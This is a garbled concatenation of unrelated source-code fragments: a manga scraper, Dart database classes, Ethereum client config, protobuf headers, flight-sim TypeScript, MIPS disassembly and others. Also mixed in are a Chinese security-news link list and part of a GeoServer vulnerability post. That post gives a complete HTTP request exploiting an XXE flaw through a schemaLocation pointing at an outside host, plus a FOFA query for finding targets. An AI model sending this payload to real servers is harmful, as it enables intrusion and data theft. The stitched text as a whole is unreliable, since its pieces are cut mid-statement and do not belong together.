page", page.toString())
            }
        }.build()

        return GET(url, headers)
    }

    private fun fetchTagId(query: String, type: String): Int? {
        val url = "$baseUrl/tags/suggest"
        val body = FormBody.Builder()
            .add("query", query)
            .build()

        val data = client.newCall(POST(url, headers, body)).execute()
            .parseAs<List<TagSuggest>>()

        return data.firstOrNull {
            it.type == type && it.name.trim().lowercase() == query
        }?.id
    }

    private fun searchMangaParse(response: Response, filters: FilterList): MangasPage {
        val typeFilter = filters.firstInstance<TypeFilter>()
        val includedSeries = typeFilter.checked.contains(SERIES_TYPE)
        val includedChapters = typeFilter.checked.contains(CHAPTER_TYPE)
        val includedDoujins = typeFilter.checked.contains(DOUJIN_TYPE)

        val document = response.asJsoup()
        val entries = LinkedHashSet<MangaEntry>()

        // saves the first entry found
        // returned if everything was filtered out to avoid "No Results found" error
        var firstEntry: MangaEntry? = null

        document.select(
            ".chapter-list a.name[href~=/($SERIES_DIR|$ANTHOLOGIES_DIR|$CHAPTERS_DIR|$DOUJINS_DIR|$ISSUES_DIR)/], " +
                ".chapter-list .doujin_tags a[href~=/$DOUJINS_DIR/]",
        ).forEach { element ->
            var (directory, permalink) = element.absUrl("href")
                .toHttpUrl().pathSegments
                .let { it[0] to it[1] }
            var title = element.ownText()

            if (directory == CHAPTERS_DIR) {
                val seriesPermalink = CHAPTER_SLUG_REGEX.find(permalink)?.groupValues?.get(1)

                if (seriesPermalink != null) {
                    directory = SERIES_DIR
                    permalink = seriesPermalink
                    title = seriesPermalink.permalinkToTitle()
                }
            }

            val entry = MangaEntry(
                url = "/$directory/$permalink",
                title = title,
                cover = getCachedCoverUrl(directory, permalink),
            )

            if (firstEntry == null) {
                firstEntry = entry
            }

            // since we convert chapters to their series counterpart, and select doujins from chapters
            // it is possible to get a certain type even if it is unselected from filters
            // so don't include in that case
            if ((!includedSeries && directory == SERIES_DIR) ||
                (!includedChapters && directory == CHAPTERS_DIR) ||
                (!includedDoujins && directory == DOUJINS_DIR)
            ) {
                return@forEach
            }

            entries.add(entry)
        }

        // avoid "No Results found" error in case everything was filtered out from above check
        if (entries.isEmpty()) {
            firstEntry?.also { entries.add(it) }
        }

        val hasNextPage = document.selectFirst(".pagination [rel=next]") != null

        return MangasPage(
            mangas = entries.map(MangaEntry::toSManga),
            hasNextPage = hasNextPage,
        )
    }

    override fun getMangaUrl(manga: SManga): String {
        return baseUrl + manga.url
    }

    override fun mangaDetailsRequest(manga: SManga): Request {
        val mangaPath = "$baseUrl${manga.url}".toHttpUrl().pathSegments

        assert(
            mangaPath.size == 2 &&
                mangaPath[0] in listOf(SERIES_DIR, ANTHOLOGIES_DIR, DOUJINS_DIR, ISSUES_DIR, CHAPTERS_DIR),
        ) { "Migrate to Dynasty Scans to update url" }

        val (directory, permalink) = mangaPath.let { it[0] to it[1] }

        val url = baseUrl.toHttpUrl().newBuilder()
            .addPathSegment(directory)
            .addPathSegment("$permalin


y/receipt.dart';
import 'dao.dart';

class DaoReceipt extends Dao<Receipt> {
  static const tableName = 'receipt';
  DaoReceipt() : super(tableName);

  @override
  Receipt fromMap(Map<String, dynamic> map) => Receipt.fromMap(map);

  /// Filter receipts by optional criteria
  Future<List<Receipt>> getByFilter({
    int? jobId,
    int? supplierId,
    DateTime? dateFrom,
    DateTime? dateTo,
    int? totalExcludingMin,
    int? totalExcludingMax,
  }) async {
    final db = withoutTransaction();
    final where = <String>[];
    final args = <dynamic>[];

    if (jobId != null) {
      where.add('job_id = ?');
      args.add(jobId);
    }
    if (supplierId != null) {
      where.add('supplier_id = ?');
      args.add(supplierId);
    }
    if (dateFrom != null) {
      where.add('receipt_date >= ?');
      args.add(dateFrom.toIso8601String());
    }
    if (dateTo != null) {
      where.add('receipt_date <= ?');
      args.add(dateTo.toIso8601String());
    }
    if (totalExcludingMin != null) {
      where.add('total_excluding_tax >= ?');
      args.add(totalExcludingMin);
    }
    if (totalExcludingMax != null) {
      where.add('total_excluding_tax <= ?');
      args.add(totalExcludingMax);
    }

    final maps = await db.query(
      tableName,
      where: where.isNotEmpty ? where.join(' AND ') : null,
      whereArgs: args.isNotEmpty ? args : null,
      orderBy: 'receipt_date desc',
    );
    return toList(maps);
  }
}
/*
 Copyright © OnePub IP Pty Ltd. S. Brett Sutton. All Rights Reserved.

 Note: This software is licensed under the GNU General Public License,
         with the following exceptions:
   • Permitted for internal use within your own business or organization only.
   • Any external distribution, resale, or incorporation into products
      for third parties is strictly prohibited.

 See the full license on GitHub:
 https://github.com/bsutton/hmb/blob/main/LICENSE
*/

import 'package:sqflite_common/sqlite_api.dart';

import '../entity/contact.dart';
import '../entity/customer.dart';
import 'dao.dart';

class DaoContactCustomer extends Dao<Contact> {
  static const tableName = 'customer_contact';
  DaoContactCustomer() : super(tableName);
  Future<void> createTable(Database db, int version) async {}

  @override
  Contact fromMap(Map<String, dynamic> map) => Contact.fromMap(map);

  Future<void> deleteJoin(
    Customer customer,
    Contact contact, [
    Transaction? transaction,
  ]) async {
    await withinTransaction(transaction).delete(
      tableName,
      where: 'customer_id = ? and contact_id = ?',
      whereArgs: [customer.id, contact.id],
    );
  }

  Future<void> insertJoin(
    Contact contact,
    Customer customer, [
    Transaction? transaction,
  ]) async {
    await withinTransaction(
      transaction,
    ).insert(tableName, {'customer_id': customer.id, 'contact_id': contact.id});
  }

  Future<void> setAsPrimary(
    Contact contact,
    Customer customer, [
    Transaction? transaction,
  ]) async {
    await withinTransaction(transaction).update(
      tableName,
      {'primary': 1},
      where: 'customer_id = ? and contact_id = ?',
      whereArgs: [customer.id, contact.id],
    );
  }
}
/*
 Copyright © OnePub IP


::{CombinedKey, Enr};
use eth2_config::{instantiate_hardcoded_nets, HardcodedNet};
use std::fs::{create_dir_all, File};
use std::io::{Read, Write};
use std::path::PathBuf;
use types::{BeaconState, ChainSpec, Config, EthSpec, EthSpecId};

pub const DEPLOY_BLOCK_FILE: &str = "deploy_block.txt";
pub const BOOT_ENR_FILE: &str = "boot_enr.yaml";
pub const GENESIS_STATE_FILE: &str = "genesis.ssz";
pub const BASE_CONFIG_FILE: &str = "config.yaml";

// Creates definitions for:
//
// - Each of the `HardcodedNet` values (e.g., `MAINNET`, `PRATER`, etc).
// - `HARDCODED_NETS: &[HardcodedNet]`
// - `HARDCODED_NET_NAMES: &[&'static str]`
instantiate_hardcoded_nets!(eth2_config);

pub const DEFAULT_HARDCODED_NETWORK: &str = "mainnet";

/// Specifies an Eth2 network.
///
/// See the crate-level documentation for more details.
#[derive(Clone, PartialEq, Debug)]
pub struct Eth2NetworkConfig {
    /// Note: instead of the block where the contract is deployed, it is acceptable to set this
    /// value to be the block number where the first deposit occurs.
    pub deposit_contract_deploy_block: u64,
    pub boot_enr: Option<Vec<Enr<CombinedKey>>>,
    pub genesis_state_bytes: Option<Vec<u8>>,
    pub config: Config,
}

impl Eth2NetworkConfig {
    /// When Lighthouse is built it includes zero or more "hardcoded" network specifications. This
    /// function allows for instantiating one of these nets by name.
    pub fn constant(name: &str) -> Result<Option<Self>, String> {
        HARDCODED_NETS
            .iter()
            .find(|net| net.name == name)
            .map(Self::from_hardcoded_net)
            .transpose()
    }

    /// Instantiates `Self` from a `HardcodedNet`.
    fn from_hardcoded_net(net: &HardcodedNet) -> Result<Self, String> {
        Ok(Self {
            deposit_contract_deploy_block: serde_yaml::from_reader(net.deploy_block)
                .map_err(|e| format!("Unable to parse deploy block: {:?}", e))?,
            boot_enr: Some(
                serde_yaml::from_reader(net.boot_enr)
                    .map_err(|e| format!("Unable to parse boot enr: {:?}", e))?,
            ),
            genesis_state_bytes: Some(net.genesis_state_bytes.to_vec())
                .filter(|bytes| !bytes.is_empty()),
            config: serde_yaml::from_reader(net.config)
                .map_err(|e| format!("Unable to parse yaml config: {:?}", e))?,
        })
    }

    /// Returns an identifier that should be used for selecting an `EthSpec` instance for this
    /// network configuration.
    pub fn eth_spec_id(&self) -> Result<EthSpecId, String> {
        self.config
            .eth_spec_id()
            .ok_or_else(|| "Config does not match any known preset".to_string())
    }

    /// Returns `true` if this configuration contains a `BeaconState`.
    pub fn beacon_state_is_known(&self) -> bool {
        self.genesis_state_bytes.is_some()
    }

    /// Construct a consolidated `ChainSpec` from the YAML config.
    pub fn chain_spec<E: EthSpec>(&self) -> Result<ChainSpec, String> {
        ChainSpec::from_config::<E>(&self.config).ok_or_else(|| {
            format!(
                "YAML configuration incompatible with spec constants for {}",
                E::spec_name()
            )
        })
    }

    /// Attempts to deserialize `self.beacon_state`, returning an error if it's missing or invalid.
    pu


7916cb83892ccade0685270ba4c33c717581911f16c406c456efaa627732e127538&scene=58&subscene=0#rd)
- vivo千镜
  - [ ] [VDC安全与隐私会场专题解读一：全面拥抱AI，共建可信透明的安全体验](https://mp.weixin.qq.com/s?__biz=MzI0Njg4NzE3MQ==&mid=2247491875&idx=1&sn=a5f857276557f1efdc1a129bc0fef24e&chksm=e9bac74fdecd4e598583be9d161a3ba0cb28315f4d2105e91ddfb4c29131d5f796a809da3d88&scene=58&subscene=0#rd)
- 代码卫士
  - [ ] [GitHub Enterprise Server中存在严重漏洞，可越权访问实例](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521118&idx=1&sn=19780899ec9f4282e334e41a25f88aa3&chksm=ea94a234dde32b22456eab2d416b2ae3e9baeb788e7522fb6a65a51b8fbd47d5083ff9c5dbc1&scene=58&subscene=0#rd)
  - [ ] [微软：学校每周面临数千次攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521118&idx=2&sn=a9051828cb8a544f0332244562294a6a&chksm=ea94a234dde32b22fa1790707405f8b9bb66ff28c38b030a5434c1ef109d1f1e911ae34762d2&scene=58&subscene=0#rd)
- 奇安信威胁情报中心
  - [ ] [疑似 Mysterious Elephant 组织利用 CHM 文件攻击南亚多国](https://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247512794&idx=1&sn=f41a6a721180828aead94ba761b628bb&chksm=ea6645addd11ccbb0bcc218364f0b2f3e69d66f5df9c96a4b8b9804700b05b6423d89376cb98&scene=58&subscene=0#rd)
- 安全内参
  - [ ] [大量个人信息遭境外访问窃取，上海某医疗科技企业被行政处罚](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247512828&idx=1&sn=b1dadc0a6881e04d0ae4a36097bdbf2a&chksm=ebfaf5dcdc8d7cca76ce272389205315833fb16827cfb62317a549d2aa0b642895ef73ef957e&scene=58&subscene=0#rd)
  - [ ] [美国州政府利用漏洞奖励强化防护体系，安全众测成为联合防御最佳实践](https://mp.weixin.qq.com/s?


3; j++) {
			//x[j] = 0.;
			//bytesRead += gzread(gzf, &(x[j]), sizeof(float) );
		//}
		//check = ntlVec3Gfx(x[0],x[1],x[2]);
		//if(debugPrint) errMsg("ANI_NV1"," "<<check<<" "<<" bytes:"<<bytesRead );
		bytesRead += gzread(gzf, &frameTime, sizeof(frameTime) );
		//if(bytesRead!=3*sizeof(float)) {
		if(bytesRead!=sizeof(float)) {
			debMsgStd("ntlGeometryObjModel::loadBobjModel",DM_MSG, "File '"<<filename<<"' end of gzfile. ", 10 );
			if(anitimes.size()>0) {
				// finally init channels and stop reading file
				mcAniVerts = AnimChannel<ntlSetVec3f>(aniverts,anitimes);
				mcAniNorms = AnimChannel<ntlSetVec3f>(aninorms,anitimes);
			}
			goto gzreaddone;
		}
		bytesRead += gzread(gzf, &numVerts2, sizeof(numVerts2) );
		haveAniSets=true;
		// continue to read new set
		vector<ntlVec3Gfx> vertset;
		vector<ntlVec3Gfx> normset;
		vertset.resize(numVerts);
		normset.resize(numVerts);
		//vertset[0] = check;
		if(debugPrintFull) errMsg("FUL1V"," "<<0<<" "<< vertset[0] );

		for(int i=0; i<numVerts; i++) { // start at one!
			for(int j=0; j<3; j++) {
				bytesRead += gzread(gzf, &(x[j]), sizeof( (x[j]) ) );
			}
			vertset[i] = ntlVec3Gfx(x[0],x[1],x[2]);
			if(debugPrintFull) errMsg("FUL2V"," "<<i<<" "<< vertset[i] );
		}
		if(debugPrint) errMsg("ANI_VV"," "<<numVerts<<" "<< vertset.size()<<" bytes:"<<bytesRead );

		bytesRead += gzread(gzf, &numNorms2, sizeof(numNorms2) );
		for(int i=0; i<numVerts; i++) {
			for(int j=0; j<3; j++) {
				bytesRead += gzread(gzf, &(x[j]), sizeof( (x[j]) ) );
			}
			normset[i] = ntlVec3Gfx(x[0],x[1],x[2]);
			if(debugPrintFull) errMsg("FUL2N"," "<<i<<" "<< normset[i] );
		}
		if(debugPrint) errMsg("ANI_NV"," "<<numVerts<<","<<numVerts2<<","<<numNorms2<<","<< normset.size()<<" bytes:"<<bytesRead );

		// set ok
		if(bytesRead== (int)( (numVerts*2*3+1) *sizeof(float)+2*sizeof(int) ) ) {
			if(aniverts.size()==0) {
				// TODO, ignore first mesh?
				double anitime = (double)(frameTime-1.); // start offset!? anitimes.size();
				// get for current frame entry
				if(mcAniTimes.getSize()>1)  anitime = mcAniTimes.get(anitime);
				anitime = anitime*mAniTimeScale+mAniTimeOffset;

				anitimes.push_back( anitime );
				aniverts.push_back( ntlSetVec3f(mVertices) );
				aninorms.push_back( ntlSetVec3f(mNormals) );
				if(debugPrint) errMsg("ANI_NV","new set "<<mVertices.size()<<","<< mNormals.size()<<" time:"<<anitime );
			}
			double anitime = (double)(frameTime); //anitimes.size();
			// get for current frame entry
			if(mcAniTimes.get


{}
			_jsii_.InitJsiiProxy(&j.Type__constructsIConstruct)
			return &j
		},
	)
	_jsii_.RegisterStruct(
		"aws-cdk-lib.aws_acmpca.PermissionReference",
		reflect.TypeOf((*PermissionReference)(nil)).Elem(),
	)
}
package awsacmpca

// Defines one or more purposes for which the key contained in the certificate can be used.
//
// Default value for each option is false.
//
// Example:
//   // The code below shows an example of how to instantiate this type.
//   // The values are placeholders you should change.
//   import "github.com/aws/aws-cdk-go/awscdk"
//
//   keyUsageProperty := &KeyUsageProperty{
//   	CrlSign: jsii.Boolean(false),
//   	DataEncipherment: jsii.Boolean(false),
//   	DecipherOnly: jsii.Boolean(false),
//   	DigitalSignature: jsii.Boolean(false),
//   	EncipherOnly: jsii.Boolean(false),
//   	KeyAgreement: jsii.Boolean(false),
//   	KeyCertSign: jsii.Boolean(false),
//   	KeyEncipherment: jsii.Boolean(false),
//   	NonRepudiation: jsii.Boolean(false),
//   }
//
// See: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-acmpca-certificate-keyusage.html
//
type CfnCertificate_KeyUsageProperty struct {
	// Key can be used to sign CRLs.
	// See: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-acmpca-certificate-keyusage.html#cfn-acmpca-certificate-keyusage-crlsign
	//
	// Default: - false.
	//
	CrlSign interface{} `field:"optional" json:"crlSign" yaml:"crlSign"`
	// Key can be used to decipher data.
	// See: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-acmpca-certificate-keyusage.html#cfn-acmpca-certificate-keyusage-dataencipherment
	//
	// Default: - false.
	//
	DataEncipherment interface{} `field:"optional" json:"dataEncipherment" yaml:"dataEncipherment"`
	// Key can be used only to decipher data.
	// See: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-acmpca-certificate-keyusage.html#cfn-acmpca-certificate-keyusage-decipheronly
	//
	// Default: - false.
	//
	DecipherOnly interface{} `field:"optional" json:"decipherOnly" yaml:"decipherOnly"`
	// Key can be used for digital signing.
	// See: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-acmpca-certificate-keyusage.html#cfn-acmpca-certificate-keyusage-digitalsignature
	//
	// Default: - false.
	//
	DigitalSignature interface{} `field:"optional" json:"digitalSignature" yaml:"digitalSignature"`
	// Key can be used only to encipher data.
	// See: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-acmpca-certificate-keyusage.html#cfn-acmpca-certificate-keyusage-encipheronly
	//
	// Default: - false.
	//
	EncipherOnly interface{} `field:"optional" json:"encipherOnly" yaml:"encipherOnly"`
	// Key can be used in a key-agreement protocol.
	// See: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-pr


```
app="GeoServer"
```

![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIfu4NibQcTDIu0rFd915wauibfOd7ciaIb6XBhPcaCJADolJMPiadeY0lGVkSJ3mCWWggCZyaicdsMN5Q/640?wx_fmt=png&from=appmsg "")

**03******

**漏洞复现**
```
POST /geoserver/wfs HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 353
Content-Type: application/xml
Accept-Encoding: gzip

<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:topp="http://www.openplans.org/topp"
xsi:schemaLocation="http://a http://xjsackqijs.lfcx.eu.org/xxe.xsd"
outputFormat="KML">
<wfs:Query typeName="topp:states"/>
</wfs:GetFeature>
```

![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIfu4NibQcTDIu0rFd915wau8GPgwzibRbvjlBe058zIwliaQhsg9pPWWSic7ehh9xaGAt6wFFjH1L0icQ/640?wx_fmt=png&from=appmsg "")

**04**

**自查工具**

nuclei

![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIfu4NibQcTDIu0rFd915wauc9tMGwZUTJsZ3Nj3pibb8zFyqlhAVg52S2zWKdLmV3DVsUJxLhLibyTw/640?wx_fmt=png&from=appmsg "")

afrog

![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIfu4NibQcTDIu0rFd915wauiaW4Dqonh7puKbFJ6P7OX7p2pH1WU6SQIPOGga3GLviaXWDK4KcUKCYg/640?wx_fmt=png&from=appmsg "")

xray

![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIfu4NibQcTDIu0rFd915wauPWeoiaibLOPr


struct google_protobuf_UInt32Value*);
}

UPB_INLINE void envoy_config_core_v3_CidrRange_set_address_prefix(envoy_config_core_v3_CidrRange *msg, upb_StringView value) {
  *UPB_PTR_AT(msg, UPB_SIZE(4, 8), upb_StringView) = value;
}
UPB_INLINE void envoy_config_core_v3_CidrRange_set_prefix_len(envoy_config_core_v3_CidrRange *msg, struct google_protobuf_UInt32Value* value) {
  _upb_sethas(msg, 1);
  *UPB_PTR_AT(msg, UPB_SIZE(12, 24), struct google_protobuf_UInt32Value*) = value;
}
UPB_INLINE struct google_protobuf_UInt32Value* envoy_config_core_v3_CidrRange_mutable_prefix_len(envoy_config_core_v3_CidrRange* msg, upb_Arena* arena) {
  struct google_protobuf_UInt32Value* sub = (struct google_protobuf_UInt32Value*)envoy_config_core_v3_CidrRange_prefix_len(msg);
  if (sub == NULL) {
    sub = (struct google_protobuf_UInt32Value*)_upb_Message_New(&google_protobuf_UInt32Value_msginit, arena);
    if (!sub) return NULL;
    envoy_config_core_v3_CidrRange_set_prefix_len(msg, sub);
  }
  return sub;
}

extern const upb_MiniTable_File envoy_config_core_v3_address_proto_upb_file_layout;

#ifdef __cplusplus
}  /* extern "C" */
#endif

#include "upb/port_undef.inc"

#endif  /* ENVOY_CONFIG_CORE_V3_ADDRESS_PROTO_UPB_H_ */


from setuptools import setup

APP = ['guiDemo.py']
OPTIONS = {
    'argv_emulation': True,
    'packages': [],
    'codesign': 'skip',  # <--- Add this line
}

setup(
    app=APP,
    options={'py2app': OPTIONS},
    setup_requires=['py2app'],
)


s: 'localhost',
      port: 1025,
      fullName: 'First Last',
      fileName: 'first_last',
      userKey: userKey,
    );
    credentialsKey = Taskrc.fromString(File('$home/.taskrc').readAsStringSync())
        .credentials!
        .key;
    txData = File(
      '../fixture/var/taskd/orgs/Public/users/$credentialsKey/tx.data',
    );
  });

  tearDownAll(() async {
    await taskd.kill();
  });

  test('test profiles', () async {
    if (txData.existsSync()) {
      txData.deleteSync();
    }
    var uuid = const Uuid().v1();

    var storage = Storage(
      Directory(
        'test/profile-testing/storage/$uuid',
      ),
    );
    var now = DateTime.now().toUtc();
    expect(now.isUtc, true);
    [
      Task(
        (b) => b
          ..uuid = const Uuid().v1()
          ..status = 'pending'
          ..description = 'foo'
          ..entry = now
          ..modified = now
          ..tags = ListBuilder(const ['qux'])
          ..annotations = ListBuilder([
            Annotation(
              (b) => b
                ..entry = now
                ..description = 'some annotation',
            ),
          ]),
      ),
      Task(
        (b) => b
          ..uuid = const Uuid().v1()
          ..status = 'pending'
          ..description = 'bar'
          ..entry = now
          ..modified = now
          ..wait = now,
      ),
      Task(
        (b) => b
          ..uuid = const Uuid().v1()
          ..status = 'pending'
          ..description = 'baz'
          ..entry = now
          ..modified = now
          ..until = now,
      ),
    ].forEach(storage.data.mergeTask);
    storage.data.allData();
    expect(() => storage.home.synchronize('test'),
        throwsA(isA<TaskserverConfigurationException>()));
    storage.taskrc.addTaskrc(File('$home/.taskrc').readAsStringSync());
    for (var entry in {
      'taskd.ca': '.task/ca.cert.pem',
      'taskd.certificate': '.task/first_last.cert.pem',
      'taskd.key': '.task/first_last.key.pem',
    }.entries) {
      storage.guiPemFiles.addPemFile(
        key: entry.key,
        contents: File('$home/${entry.value}').readAsStringSync(),
      );
    }

    var taskwarrior =
        Taskwarrior(absolute('test/profile-testing/storage/$uuid'));

    var result = await Process.run('taskd', ['server', '--debug'],
        environment: {'TASKDDATA': '../fixture/var/taskd'});
    stdout.writeln(result.stdout);
    stderr.writeln(result.stderr);

    try {
      await taskwarrior.diagnostics();
      var exitCode = await taskwarrior.synchronize();
      stdout.writeln(exitCode);
      await storage.home.statistics('test');
      await storage.home.synchronize('test');
    } on BadCertificateException catch (e) {
      await null;
      storage.guiPemFiles.addPemFile(
        key: 'server.cert',
        contents: e.certificate.pem,
      );
      await null;
    }

    await storage.home.synchronize('test');

    for (var data in ['backlog', 'pending', 'completed']) {
      var dataFile = File('$home/.task/$data.data');
      if (dataFile.existsSync()) {
        dataFile.deleteSync();
      }
    }

    await Future.delayed(const Duration(milliseconds: 333));


({
  providedIn: 'root'
})
export class NgxFrenchLocationService {

  readonly API_URL = 'https://geo.api.gouv.fr/';
  readonly cities = 'communes';
  readonly counties = 'departements';
  readonly districts = 'regions';

  constructor(private http: HttpClient) { }

  /**
   * @desc Fetch all cities inside a county.
   * @param countyCode The county code string
   */
  getCitiesByCounty(countyCode: string) {
    return this.http.get(`${this.API_URL}${this.cities}?codeDepartement=${countyCode}`);
  }

  /**
   * @desc Fetch all counties by default
   * @param code The county code. Sould be a string
   * If provided only one county will be returned
   */
  getCounties(code?: string): Observable<County[]|County> {
    code = code ? `/${code}` : '';
    return this.http.get(`${this.API_URL}${this.counties}${code}`) as Observable<County[]|County>;
  }

  /**
   * @desc Fetch all districts by default
   * @param code The district code. Sould be a string
   */
  getDistrics(code?: string): Observable<District[]|District> {
    code = code ? `/${code}` : '';
    return this.http.get(`${this.API_URL}${this.districts}${code}`) as Observable<District[]|District>;
  }
}
import { CJ4_NearestVORSearch } from "./CJ4_NearestVORSearch";

/**
 * The CJ4 Nav Radio system.
 */
export class CJ4_NavRadioSystem {

  /** The states of the nav radios. */
  public radioStates: CJ4NavRadioState[] = [];

  public presets: number[] = [];

  /** Whether or not a nearest VOR search is pending. */
  private searchPending: boolean = false;

  constructor() {
    this.radioStates[1] = new CJ4NavRadioState(1);
    this.radioStates[2] = new CJ4NavRadioState(2);
  }

  /**
   * Initializes the radio system.
   */
  public initialize() {
    const presetsString = WTDataStore.get(`WT_CJ4_NAV_RADIO_PRESETS`, '[]');
    this.presets = JSON.parse(presetsString);

    setInterval(() => {
      this.radioStates[1].initialize();
      this.radioStates[2].initialize();
    }, 1000);
  }

  /**
   * Updates the nav radio system.
   */
  public update() {

    const radio1Freq = parseFloat(SimVar.GetSimVarValue('NAV ACTIVE FREQUENCY:1', 'MHz').toFixed(2));
    const radio2Freq = parseFloat(SimVar.GetSimVarValue('NAV ACTIVE FREQUENCY:2', 'MHz').toFixed(2));

    if (radio1Freq !== this.radioStates[1].frequency) {
      this.radioStates[1].frequency = radio1Freq;
    }

    if (radio2Freq !== this.radioStates[2].frequency) {
      this.radioStates[2].frequency = radio2Freq;
    }

    this.updateAutoTuning();
  }

  /**
   * Sets a nav radio preset.
   * @param index The index of the preset to set.
   * @param frequency The frequency to set the preset to.
   */
  public setPreset(index: number, frequency: number): void {
    this.presets[index] = frequency;
    WTDataStore.set(`WT_CJ4_NAV_RADIO_PRESETS`, JSON.stringify(this.presets));
  }

  /**
   * Parses an input frequency string to return a valid nav frequency.
   * @param value The value to parse.
   * @returns The nav frequency, if valid.
   */
  public parseFrequencyInput(value: string): number {
    let frequency = pa


, $v1
/* 1E0D0C0 80085AF8 02008104 */  bgez       $a0, .Llevel_22_80085B04
/* 1E0D0C4 80085AFC 21108000 */   addu      $v0, $a0, $zero
/* 1E0D0C8 80085B00 23100200 */  negu       $v0, $v0
.Llevel_22_80085B04:
/* 1E0D0CC 80085B04 47004228 */  slti       $v0, $v0, 0x47
/* 1E0D0D0 80085B08 08004014 */  bnez       $v0, .Llevel_22_80085B2C
/* 1E0D0D4 80085B0C 00000000 */   nop
/* 1E0D0D8 80085B10 04008104 */  bgez       $a0, .Llevel_22_80085B24
/* 1E0D0DC 80085B14 78006224 */   addiu     $v0, $v1, 0x78
/* 1E0D0E0 80085B18 88FF6224 */  addiu      $v0, $v1, -0x78
/* 1E0D0E4 80085B1C CC160208 */  j          .Llevel_22_80085B30
/* 1E0D0E8 80085B20 140062AE */   sw        $v0, 0x14($s3)
.Llevel_22_80085B24:
/* 1E0D0EC 80085B24 CC160208 */  j          .Llevel_22_80085B30
/* 1E0D0F0 80085B28 140062AE */   sw        $v0, 0x14($s3)
.Llevel_22_80085B2C:
/* 1E0D0F4 80085B2C 140072AE */  sw         $s2, 0x14($s3)
.Llevel_22_80085B30:
/* 1E0D0F8 80085B30 4006822A */  slti       $v0, $s4, 0x640
/* 1E0D0FC 80085B34 0E004010 */  beqz       $v0, .Llevel_22_80085B70
/* 1E0D100 80085B38 21300000 */   addu      $a2, $zero, $zero
/* 1E0D104 80085B3C 0000C38E */  lw         $v1, 0x0($s6)
/* 1E0D108 80085B40 0C00648E */  lw         $a0, 0xC($s3)
/* 1E0D10C 80085B44 0400C28E */  lw         $v0, 0x4($s6)
/* 1E0D110 80085B48 1000658E */  lw         $a1, 0x10($s3)
/* 1E0D114 80085B4C 23206400 */  subu       $a0, $v1, $a0
/* 1E0D118 80085B50 AD5A000C */  jal        Atan2
/* 1E0D11C 80085B54 23284500 */   subu      $a1, $v0, $a1
/* 1E0D120 80085B58 46006492 */  lbu        $a0, 0x46($s3)
/* 1E0D124 80085B5C 425E000C */  jal        func_80017908
/* 1E0D128 80085B60 21284000 */   addu      $a1, $v0, $zero
/* 1E0D12C 80085B64 3D004228 */  slti       $v0, $v0, 0x3D
/* 1E0D130 80085B68 65004010 */  beqz       $v0, .Llevel_22_80085D00
/* 1E0D134 80085B6C 00000000 */   nop
.Llevel_22_80085B70:
/* 1E0D138 80085B70 21300000 */  addu       $a2, $zero, $zero
/* 1E0D13C 80085B


OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package app.cash.redwood.compose

import androidx.compose.runtime.BroadcastFrameClock
import androidx.compose.runtime.MonotonicFrameClock
import kotlinx.cinterop.BetaInteropApi
import kotlinx.cinterop.ObjCAction
import kotlinx.cinterop.convert
import platform.Foundation.NSRunLoop
import platform.Foundation.NSSelectorFromString
import platform.QuartzCore.CADisplayLink
import platform.darwin.NSObject
import platform.posix.CLOCK_MONOTONIC_RAW
import platform.posix.clock_gettime_nsec_np

public object DisplayLinkClock : MonotonicFrameClock {

  private val target = SelectorTarget(this)
  private val displayLink = CADisplayLink.displayLinkWithTarget(
    target = target,
    selector = NSSelectorFromString(SelectorTarget::tickClock.name),
  )

  private val clock = BroadcastFrameClock {
    // We only want to listen to the DisplayLink run loop if we have frame awaiters.
    displayLink.addToRunLoop(NSRunLoop.currentRunLoop, NSRunLoop.currentRunLoop.currentMode)
  }

  override suspend fun <R> withFrameNanos(onFrame: (frameTimeNanos: Long) -> R): R {
    return clock.withFrameNanos(onFrame)
  }

  private fun tickClock() {
    val nanos = clock_gettime_nsec_np(CLOCK_MONOTONIC_RAW.convert()).convert<Long>()
    clock.sendFrame(nanos)

    // Detach from the run loop. We will re-attach if new frame awaiters appear.
    displayLink.removeFromRunLoop(NSRunLoop.currentRunLoop, NSRunLoop.currentRunLoop.currentMode)
  }

  /**
   * Selectors can only target subtypes of [NSObject] which is why this helper exists.
   * We cannot subclass it on [DisplayLinkClock] directly because it implements a Kotlin
   * interface, but we also don't want to leak it into public API. The contained function
   * must be public for the selector to work.
   */
  @OptIn(BetaInteropApi::class)
  private class SelectorTarget(private val target: DisplayLinkClock) : NSObject() {
    @ObjCAction
    fun tickClock() {
      target.tickClock()
    }
  }
}
/*
 * Copyright (C) 2022 Square, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package app.cash.redwood.protocol.host

import app.cash.redwood.Modifier
import app.cash.redwood.RedwoodCodegenApi
import app.cash.redwood.layout.testing.RedwoodLayoutTestingWidgetFactory
